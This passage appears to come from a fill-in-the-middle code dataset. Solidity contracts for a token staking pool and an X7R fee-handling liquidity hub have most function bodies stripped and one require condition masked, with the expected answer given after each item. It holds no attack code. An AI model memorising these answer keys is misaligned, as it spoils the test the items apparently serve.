mapping (address => bool) public isNativeApproved;
mapping (address => mapping (uint256 => User)) public userDetails;
mapping (address => uint256[]) public getUserIDs;
error tokenNotApproved();
error stakingAmountReached();
error alreadyWithdraw();
error rewardAmountExceed();
event Deposit(address indexed user, uint indexed stakeID, uint tokenAmount, uint depositTime);
event Withdraw(address indexed user, uint indexed stakeID, uint withdrawTime);
event Claim(address indexed user, uint indexed stakeID, uint claimAmount, uint claimTime);
event FailSafe(address indexed caller, address indexed receiver, uint tokenAmount);
event updateTokens(address indexed OldToken, address indexed NewToken, address indexed caller );
constructor(address[6] memory _LPtokens, address[3] memory _nativeToken, address _rewardToken) {
}
function isContract(address _addr) public view {
}
function pause() external onlyOwner {
}
function unPause() external onlyOwner {
}
function depositTokens(address _tokenAddress, uint256 _tokenAmount) external whenNotPaused nonReentrant {
}
function checkTokenLimit(address _tokenAddress, uint256 _tokenAmount) public view returns(bool) {
}
function pendingReward(address _user, uint256 _stakeID) public view returns(uint256 reward) {
}
function calculateReward(uint _tokenAmount, uint _stakeDays) private pure returns(uint){
}
function claimReward(uint256 _stakeID) public whenNotPaused nonReentrant{
}
function withdraw(uint256 _stakeID) external whenNotPaused {
}
function updateToken(uint _index, address _tokenAddress, bool isLP) external onlyOwner {
require(_index < 9,"invalid index");
address previousToken = approvedTokens[_index];
approvedTokens[_index] = _tokenAddress;
if(isLP) {
require(<FILL_ME>)
isLPApproved[previousToken] = false;
isLPApproved[_tokenAddress] = true;
} else {
require(isNativeApproved[previousToken],"is not native token");
isNativeApproved[previousToken] = false;
isNativeApproved[_tokenAddress] = true;
}
emit updateTokens(previousToken , _tokenAddress, msg.sender);
}
function updateRewardToken(address _rewardToken) external onlyOwner {
}
function recover(address _tokenAddress, address _receiver, uint256 _amount) external onlyOwner {
}
}
| isLPApproved[previousToken],"is not LP token" | 511,352 | isLPApproved[previousToken] |
"is not native token" | /**
*Submitted for verification at Etherscan.io on 2023-03-22
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
}
contract Context {
constructor() {}
function _msgSender() internal view returns (address ) {
}
function _msgData() internal view returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
function paused() public view returns (bool) {
}
modifier whenNotPaused() {
}
modifier whenPaused() {
}
function _pause() internal virtual whenNotPaused {
}
function _unpause() internal virtual whenPaused {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract _CollarStake_ is Ownable, ReentrancyGuard, Pausable, SafeERC20 {
address[9] public approvedTokens;
address public rewardToken;
uint128 constant public max_staking_amount = 500 * 1e12 * 1e18;
uint128 constant public max_reward_amount = (200 * 1e6 * 1e18) * 67 /100;
uint128 public lp_reward ;
uint128 public native_reward;
uint128 public user_staked_rewad_Token;
uint64 public currentID;
uint64 constant public max_staking_days = 365 * 5;
struct User{
address user;
address stakeToken;
uint256 stakeAmount;
uint256 rewardEarned;
uint128 lastClaimTime;
uint128 withdrawTime;
uint128 rewardEndTime;
uint128 allocateReward;
bool isLPStaked;
}
mapping (address => bool) public isLPApproved;
mapping (address => bool) public isNativeApproved;
mapping (address => mapping (uint256 => User)) public userDetails;
mapping (address => uint256[]) public getUserIDs;
error tokenNotApproved();
error stakingAmountReached();
error alreadyWithdraw();
error rewardAmountExceed();
event Deposit(address indexed user, uint indexed stakeID, uint tokenAmount, uint depositTime);
event Withdraw(address indexed user, uint indexed stakeID, uint withdrawTime);
event Claim(address indexed user, uint indexed stakeID, uint claimAmount, uint claimTime);
event FailSafe(address indexed caller, address indexed receiver, uint tokenAmount);
event updateTokens(address indexed OldToken, address indexed NewToken, address indexed caller );
constructor(address[6] memory _LPtokens, address[3] memory _nativeToken, address _rewardToken) {
}
function isContract(address _addr) public view {
}
function pause() external onlyOwner {
}
function unPause() external onlyOwner {
}
function depositTokens(address _tokenAddress, uint256 _tokenAmount) external whenNotPaused nonReentrant {
}
function checkTokenLimit(address _tokenAddress, uint256 _tokenAmount) public view returns(bool) {
}
function pendingReward(address _user, uint256 _stakeID) public view returns(uint256 reward) {
}
function calculateReward(uint _tokenAmount, uint _stakeDays) private pure returns(uint){
}
function claimReward(uint256 _stakeID) public whenNotPaused nonReentrant{
}
function withdraw(uint256 _stakeID) external whenNotPaused {
}
function updateToken(uint _index, address _tokenAddress, bool isLP) external onlyOwner {
require(_index < 9,"invalid index");
address previousToken = approvedTokens[_index];
approvedTokens[_index] = _tokenAddress;
if(isLP) {
require(isLPApproved[previousToken],"is not LP token");
isLPApproved[previousToken] = false;
isLPApproved[_tokenAddress] = true;
} else {
require(<FILL_ME>)
isNativeApproved[previousToken] = false;
isNativeApproved[_tokenAddress] = true;
}
emit updateTokens(previousToken , _tokenAddress, msg.sender);
}
function updateRewardToken(address _rewardToken) external onlyOwner {
}
function recover(address _tokenAddress, address _receiver, uint256 _amount) external onlyOwner {
}
}
| isNativeApproved[previousToken],"is not native token" | 511,352 | isNativeApproved[previousToken] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
/$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
| $$ / $$|_____ $$/ | $$_____/|__/
| $$/ $$/ /$$/ | $$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$
\ $$$$/ /$$/ | $$$$$ | $$| $$__ $$ |____ $$| $$__ $$ /$$_____/ /$$__ $$
>$$ $$ /$$/ | $$__/ | $$| $$ \ $$ /$$$$$$$| $$ \ $$| $$ | $$$$$$$$
/$$/\ $$ /$$/ | $$ | $$| $$ | $$ /$$__ $$| $$ | $$| $$ | $$_____/
| $$ \ $$ /$$/ | $$ | $$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/|__/ |__/ |__/|__/ |__/ \_______/|__/ |__/ \_______/ \_______/
Contract: Smart Contract for managing X7R fee tokens
This contract will NOT be renounced.
The following are the only functions that can be called on the contract that affect the contract:
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
require(distributeShare + liquidityShare + treasuryShare == 1000);
require(distributeShare_ >= minShare && distributeShare_ <= maxShare);
require(liquidityShare_ >= minShare && liquidityShare_ <= maxShare);
require(treasuryShare_ >= minShare && treasuryShare_ <= maxShare);
distributeShare = distributeShare_;
liquidityShare = liquidityShare_;
treasuryShare = treasuryShare_;
emit SharesSet(distributeShare_, liquidityShare_, treasuryShare_);
}
function setRouter(address router_) external onlyOwner {
require(router_ != address(router));
router = IUniswapV2Router(router_);
emit RouterSet(router_);
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
require(offRampPair != offRampPairAddress);
offRampPair = offRampPairAddress;
emit OffRampPairSet(offRampPairAddress);
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
require(!balanceThresholdFrozen);
balanceThreshold = threshold;
emit BalanceThresholdSet(threshold);
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
require(liquidityRatioTarget_ != liquidityRatioTarget);
require(liquidityRatioTarget_ >= minLiquidityRatioTarget && liquidityRatioTarget <= maxLiquidityRatioTarget);
liquidityRatioTarget = liquidityRatioTarget_;
emit LiquidityRatioTargetSet(liquidityRatioTarget_);
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
require(
liquidityTokenReceiver_ != address(0)
&& liquidityTokenReceiver_ != address(0x000000000000000000000000000000000000dEaD)
&& liquidityTokenReceiver != liquidityTokenReceiver_
);
address oldLiquidityTokenReceiver = liquidityTokenReceiver;
liquidityTokenReceiver = liquidityTokenReceiver_;
emit LiquidityTokenReceiverSet(oldLiquidityTokenReceiver, liquidityTokenReceiver_);
}
function setDistributionTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& distributeTarget != payable(target)
);
require(!distributeTargetFrozen);
address oldTarget = address(distributeTarget);
distributeTarget = payable(target);
emit DistributeTargetSet(oldTarget, distributeTarget);
}
function setTreasuryTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& treasuryTarget != payable(target)
);
require(!treasuryTargetFrozen);
address oldTarget = address(treasuryTarget);
treasuryTarget = payable(target);
emit TreasuryTargetSet(oldTarget, target);
}
function freezeTreasuryTarget() external onlyOwner {
require(!treasuryTargetFrozen);
treasuryTargetFrozen = true;
emit TreasuryTargetFrozen();
}
function freezeDistributeTarget() external onlyOwner {
require(!distributeTargetFrozen);
distributeTargetFrozen = true;
emit DistributeTargetFrozen();
}
function freezeBalanceThreshold() external onlyOwner {
require(!balanceThresholdFrozen);
balanceThresholdFrozen = true;
emit BalanceThresholdFrozen();
}
These functions will be passed to DAO governance once the ecosystem stabilizes.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address owner_) {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function circulatingSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
function WETH() external returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7EcosystemSplitter {
function takeBalance() external;
}
interface IWETH {
function withdraw(uint) external;
}
contract X7RLiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router public router;
address public offRampPair;
IERC20 public x7r;
address public liquidityTokenReceiver;
uint256 public minLiquidityRatioTarget = 5;
uint256 public maxLiquidityRatioTarget = 99;
uint256 public liquidityRatioTarget = 15;
uint256 public minShare = 200;
uint256 public maxShare = 500;
uint256 public distributeShare = 300;
uint256 public liquidityShare = 400;
uint256 public treasuryShare = 300;
uint256 public balanceThreshold = 1 ether;
uint256 public distributeBalance;
uint256 public treasuryBalance;
uint256 public liquidityBalance;
uint256 public x7rLiquidityBalance;
address payable public distributeTarget;
address payable public treasuryTarget;
bool public distributeTargetFrozen;
bool public treasuryTargetFrozen;
bool public balanceThresholdFrozen;
event SharesSet(uint256 distributeShare, uint256 liquidityShare, uint256 treasuryShare);
event OffRampPairSet(address indexed offRampPair);
event DistributeTargetSet(address indexed oldTarget, address indexed newTarget);
event TreasuryTargetSet(address indexed oldTarget, address indexed newTarget);
event LiquidityRatioTargetSet(uint256 liquidityRatioTarget);
event LiquidityTokenReceiverSet(address indexed oldReciever, address indexed newReceiver);
event BalanceThresholdSet(uint256 threshold);
event RouterSet(address router);
event TreasuryTargetFrozen();
event DistributeTargetFrozen();
event BalanceThresholdFrozen();
constructor(address x7r_, address router_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
receive() external payable {}
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
require(<FILL_ME>)
require(distributeShare_ >= minShare && distributeShare_ <= maxShare);
require(liquidityShare_ >= minShare && liquidityShare_ <= maxShare);
require(treasuryShare_ >= minShare && treasuryShare_ <= maxShare);
distributeShare = distributeShare_;
liquidityShare = liquidityShare_;
treasuryShare = treasuryShare_;
emit SharesSet(distributeShare_, liquidityShare_, treasuryShare_);
}
function setRouter(address router_) external onlyOwner {
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
}
function setDistributionTarget(address target) external onlyOwner {
}
function setTreasuryTarget(address target) external onlyOwner {
}
function freezeTreasuryTarget() external onlyOwner {
}
function freezeDistributeTarget() external onlyOwner {
}
function freezeBalanceThreshold() external onlyOwner {
}
function processFees(address tokenAddress) external {
}
function sendDistributeBalance() public {
}
function sendTreasuryBalance() public {
}
function buyBackAndAddLiquidity() internal {
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(uint256 ethAmount) internal {
}
function rescueWETH() external {
}
}
| distributeShare+liquidityShare+treasuryShare==1000 | 511,699 | distributeShare+liquidityShare+treasuryShare==1000 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
/$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
| $$ / $$|_____ $$/ | $$_____/|__/
| $$/ $$/ /$$/ | $$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$
\ $$$$/ /$$/ | $$$$$ | $$| $$__ $$ |____ $$| $$__ $$ /$$_____/ /$$__ $$
>$$ $$ /$$/ | $$__/ | $$| $$ \ $$ /$$$$$$$| $$ \ $$| $$ | $$$$$$$$
/$$/\ $$ /$$/ | $$ | $$| $$ | $$ /$$__ $$| $$ | $$| $$ | $$_____/
| $$ \ $$ /$$/ | $$ | $$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/|__/ |__/ |__/|__/ |__/ \_______/|__/ |__/ \_______/ \_______/
Contract: Smart Contract for managing X7R fee tokens
This contract will NOT be renounced.
The following are the only functions that can be called on the contract that affect the contract:
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
require(distributeShare + liquidityShare + treasuryShare == 1000);
require(distributeShare_ >= minShare && distributeShare_ <= maxShare);
require(liquidityShare_ >= minShare && liquidityShare_ <= maxShare);
require(treasuryShare_ >= minShare && treasuryShare_ <= maxShare);
distributeShare = distributeShare_;
liquidityShare = liquidityShare_;
treasuryShare = treasuryShare_;
emit SharesSet(distributeShare_, liquidityShare_, treasuryShare_);
}
function setRouter(address router_) external onlyOwner {
require(router_ != address(router));
router = IUniswapV2Router(router_);
emit RouterSet(router_);
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
require(offRampPair != offRampPairAddress);
offRampPair = offRampPairAddress;
emit OffRampPairSet(offRampPairAddress);
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
require(!balanceThresholdFrozen);
balanceThreshold = threshold;
emit BalanceThresholdSet(threshold);
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
require(liquidityRatioTarget_ != liquidityRatioTarget);
require(liquidityRatioTarget_ >= minLiquidityRatioTarget && liquidityRatioTarget <= maxLiquidityRatioTarget);
liquidityRatioTarget = liquidityRatioTarget_;
emit LiquidityRatioTargetSet(liquidityRatioTarget_);
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
require(
liquidityTokenReceiver_ != address(0)
&& liquidityTokenReceiver_ != address(0x000000000000000000000000000000000000dEaD)
&& liquidityTokenReceiver != liquidityTokenReceiver_
);
address oldLiquidityTokenReceiver = liquidityTokenReceiver;
liquidityTokenReceiver = liquidityTokenReceiver_;
emit LiquidityTokenReceiverSet(oldLiquidityTokenReceiver, liquidityTokenReceiver_);
}
function setDistributionTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& distributeTarget != payable(target)
);
require(!distributeTargetFrozen);
address oldTarget = address(distributeTarget);
distributeTarget = payable(target);
emit DistributeTargetSet(oldTarget, distributeTarget);
}
function setTreasuryTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& treasuryTarget != payable(target)
);
require(!treasuryTargetFrozen);
address oldTarget = address(treasuryTarget);
treasuryTarget = payable(target);
emit TreasuryTargetSet(oldTarget, target);
}
function freezeTreasuryTarget() external onlyOwner {
require(!treasuryTargetFrozen);
treasuryTargetFrozen = true;
emit TreasuryTargetFrozen();
}
function freezeDistributeTarget() external onlyOwner {
require(!distributeTargetFrozen);
distributeTargetFrozen = true;
emit DistributeTargetFrozen();
}
function freezeBalanceThreshold() external onlyOwner {
require(!balanceThresholdFrozen);
balanceThresholdFrozen = true;
emit BalanceThresholdFrozen();
}
These functions will be passed to DAO governance once the ecosystem stabilizes.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address owner_) {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function circulatingSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
function WETH() external returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7EcosystemSplitter {
function takeBalance() external;
}
interface IWETH {
function withdraw(uint) external;
}
contract X7RLiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router public router;
address public offRampPair;
IERC20 public x7r;
address public liquidityTokenReceiver;
uint256 public minLiquidityRatioTarget = 5;
uint256 public maxLiquidityRatioTarget = 99;
uint256 public liquidityRatioTarget = 15;
uint256 public minShare = 200;
uint256 public maxShare = 500;
uint256 public distributeShare = 300;
uint256 public liquidityShare = 400;
uint256 public treasuryShare = 300;
uint256 public balanceThreshold = 1 ether;
uint256 public distributeBalance;
uint256 public treasuryBalance;
uint256 public liquidityBalance;
uint256 public x7rLiquidityBalance;
address payable public distributeTarget;
address payable public treasuryTarget;
bool public distributeTargetFrozen;
bool public treasuryTargetFrozen;
bool public balanceThresholdFrozen;
event SharesSet(uint256 distributeShare, uint256 liquidityShare, uint256 treasuryShare);
event OffRampPairSet(address indexed offRampPair);
event DistributeTargetSet(address indexed oldTarget, address indexed newTarget);
event TreasuryTargetSet(address indexed oldTarget, address indexed newTarget);
event LiquidityRatioTargetSet(uint256 liquidityRatioTarget);
event LiquidityTokenReceiverSet(address indexed oldReciever, address indexed newReceiver);
event BalanceThresholdSet(uint256 threshold);
event RouterSet(address router);
event TreasuryTargetFrozen();
event DistributeTargetFrozen();
event BalanceThresholdFrozen();
constructor(address x7r_, address router_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
receive() external payable {}
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
}
function setRouter(address router_) external onlyOwner {
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
require(<FILL_ME>)
balanceThreshold = threshold;
emit BalanceThresholdSet(threshold);
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
}
function setDistributionTarget(address target) external onlyOwner {
}
function setTreasuryTarget(address target) external onlyOwner {
}
function freezeTreasuryTarget() external onlyOwner {
}
function freezeDistributeTarget() external onlyOwner {
}
function freezeBalanceThreshold() external onlyOwner {
}
function processFees(address tokenAddress) external {
}
function sendDistributeBalance() public {
}
function sendTreasuryBalance() public {
}
function buyBackAndAddLiquidity() internal {
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(uint256 ethAmount) internal {
}
function rescueWETH() external {
}
}
| !balanceThresholdFrozen | 511,699 | !balanceThresholdFrozen |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
/$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
| $$ / $$|_____ $$/ | $$_____/|__/
| $$/ $$/ /$$/ | $$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$
\ $$$$/ /$$/ | $$$$$ | $$| $$__ $$ |____ $$| $$__ $$ /$$_____/ /$$__ $$
>$$ $$ /$$/ | $$__/ | $$| $$ \ $$ /$$$$$$$| $$ \ $$| $$ | $$$$$$$$
/$$/\ $$ /$$/ | $$ | $$| $$ | $$ /$$__ $$| $$ | $$| $$ | $$_____/
| $$ \ $$ /$$/ | $$ | $$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/|__/ |__/ |__/|__/ |__/ \_______/|__/ |__/ \_______/ \_______/
Contract: Smart Contract for managing X7R fee tokens
This contract will NOT be renounced.
The following are the only functions that can be called on the contract that affect the contract:
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
require(distributeShare + liquidityShare + treasuryShare == 1000);
require(distributeShare_ >= minShare && distributeShare_ <= maxShare);
require(liquidityShare_ >= minShare && liquidityShare_ <= maxShare);
require(treasuryShare_ >= minShare && treasuryShare_ <= maxShare);
distributeShare = distributeShare_;
liquidityShare = liquidityShare_;
treasuryShare = treasuryShare_;
emit SharesSet(distributeShare_, liquidityShare_, treasuryShare_);
}
function setRouter(address router_) external onlyOwner {
require(router_ != address(router));
router = IUniswapV2Router(router_);
emit RouterSet(router_);
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
require(offRampPair != offRampPairAddress);
offRampPair = offRampPairAddress;
emit OffRampPairSet(offRampPairAddress);
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
require(!balanceThresholdFrozen);
balanceThreshold = threshold;
emit BalanceThresholdSet(threshold);
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
require(liquidityRatioTarget_ != liquidityRatioTarget);
require(liquidityRatioTarget_ >= minLiquidityRatioTarget && liquidityRatioTarget <= maxLiquidityRatioTarget);
liquidityRatioTarget = liquidityRatioTarget_;
emit LiquidityRatioTargetSet(liquidityRatioTarget_);
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
require(
liquidityTokenReceiver_ != address(0)
&& liquidityTokenReceiver_ != address(0x000000000000000000000000000000000000dEaD)
&& liquidityTokenReceiver != liquidityTokenReceiver_
);
address oldLiquidityTokenReceiver = liquidityTokenReceiver;
liquidityTokenReceiver = liquidityTokenReceiver_;
emit LiquidityTokenReceiverSet(oldLiquidityTokenReceiver, liquidityTokenReceiver_);
}
function setDistributionTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& distributeTarget != payable(target)
);
require(!distributeTargetFrozen);
address oldTarget = address(distributeTarget);
distributeTarget = payable(target);
emit DistributeTargetSet(oldTarget, distributeTarget);
}
function setTreasuryTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& treasuryTarget != payable(target)
);
require(!treasuryTargetFrozen);
address oldTarget = address(treasuryTarget);
treasuryTarget = payable(target);
emit TreasuryTargetSet(oldTarget, target);
}
function freezeTreasuryTarget() external onlyOwner {
require(!treasuryTargetFrozen);
treasuryTargetFrozen = true;
emit TreasuryTargetFrozen();
}
function freezeDistributeTarget() external onlyOwner {
require(!distributeTargetFrozen);
distributeTargetFrozen = true;
emit DistributeTargetFrozen();
}
function freezeBalanceThreshold() external onlyOwner {
require(!balanceThresholdFrozen);
balanceThresholdFrozen = true;
emit BalanceThresholdFrozen();
}
These functions will be passed to DAO governance once the ecosystem stabilizes.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address owner_) {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function circulatingSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router {
function WETH() external returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ILiquidityHub {
function processFees(address) external;
}
interface IX7EcosystemSplitter {
function takeBalance() external;
}
interface IWETH {
function withdraw(uint) external;
}
contract X7RLiquidityHub is Ownable, ILiquidityHub {
IUniswapV2Router public router;
address public offRampPair;
IERC20 public x7r;
address public liquidityTokenReceiver;
uint256 public minLiquidityRatioTarget = 5;
uint256 public maxLiquidityRatioTarget = 99;
uint256 public liquidityRatioTarget = 15;
uint256 public minShare = 200;
uint256 public maxShare = 500;
uint256 public distributeShare = 300;
uint256 public liquidityShare = 400;
uint256 public treasuryShare = 300;
uint256 public balanceThreshold = 1 ether;
uint256 public distributeBalance;
uint256 public treasuryBalance;
uint256 public liquidityBalance;
uint256 public x7rLiquidityBalance;
address payable public distributeTarget;
address payable public treasuryTarget;
bool public distributeTargetFrozen;
bool public treasuryTargetFrozen;
bool public balanceThresholdFrozen;
event SharesSet(uint256 distributeShare, uint256 liquidityShare, uint256 treasuryShare);
event OffRampPairSet(address indexed offRampPair);
event DistributeTargetSet(address indexed oldTarget, address indexed newTarget);
event TreasuryTargetSet(address indexed oldTarget, address indexed newTarget);
event LiquidityRatioTargetSet(uint256 liquidityRatioTarget);
event LiquidityTokenReceiverSet(address indexed oldReciever, address indexed newReceiver);
event BalanceThresholdSet(uint256 threshold);
event RouterSet(address router);
event TreasuryTargetFrozen();
event DistributeTargetFrozen();
event BalanceThresholdFrozen();
constructor(address x7r_, address router_) Ownable(address(0x7000a09c425ABf5173FF458dF1370C25d1C58105)) {
}
receive() external payable {}
function setShares(uint256 distributeShare_, uint256 liquidityShare_, uint256 treasuryShare_) external onlyOwner {
}
function setRouter(address router_) external onlyOwner {
}
function setOffRampPair(address offRampPairAddress) external onlyOwner {
}
function setBalanceThreshold(uint256 threshold) external onlyOwner {
}
function setLiquidityRatioTarget(uint256 liquidityRatioTarget_) external onlyOwner {
}
function setLiquidityTokenReceiver(address liquidityTokenReceiver_) external onlyOwner {
}
function setDistributionTarget(address target) external onlyOwner {
require(
target != address(0)
&& target != address(0x000000000000000000000000000000000000dEaD)
&& distributeTarget != payable(target)
);
require(<FILL_ME>)
address oldTarget = address(distributeTarget);
distributeTarget = payable(target);
emit DistributeTargetSet(oldTarget, distributeTarget);
}
function setTreasuryTarget(address target) external onlyOwner {
}
function freezeTreasuryTarget() external onlyOwner {
}
function freezeDistributeTarget() external onlyOwner {
}
function freezeBalanceThreshold() external onlyOwner {
}
function processFees(address tokenAddress) external {
}
function sendDistributeBalance() public {
}
function sendTreasuryBalance() public {
}
function buyBackAndAddLiquidity() internal {
}
function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) internal {
}
function swapTokensForEth(address tokenAddress, uint256 tokenAmount) internal {
}
function swapEthForTokens(uint256 ethAmount) internal {
}
function rescueWETH() external {
}
}
| !distributeTargetFrozen | 511,699 | !distributeTargetFrozen |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
/*
/$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
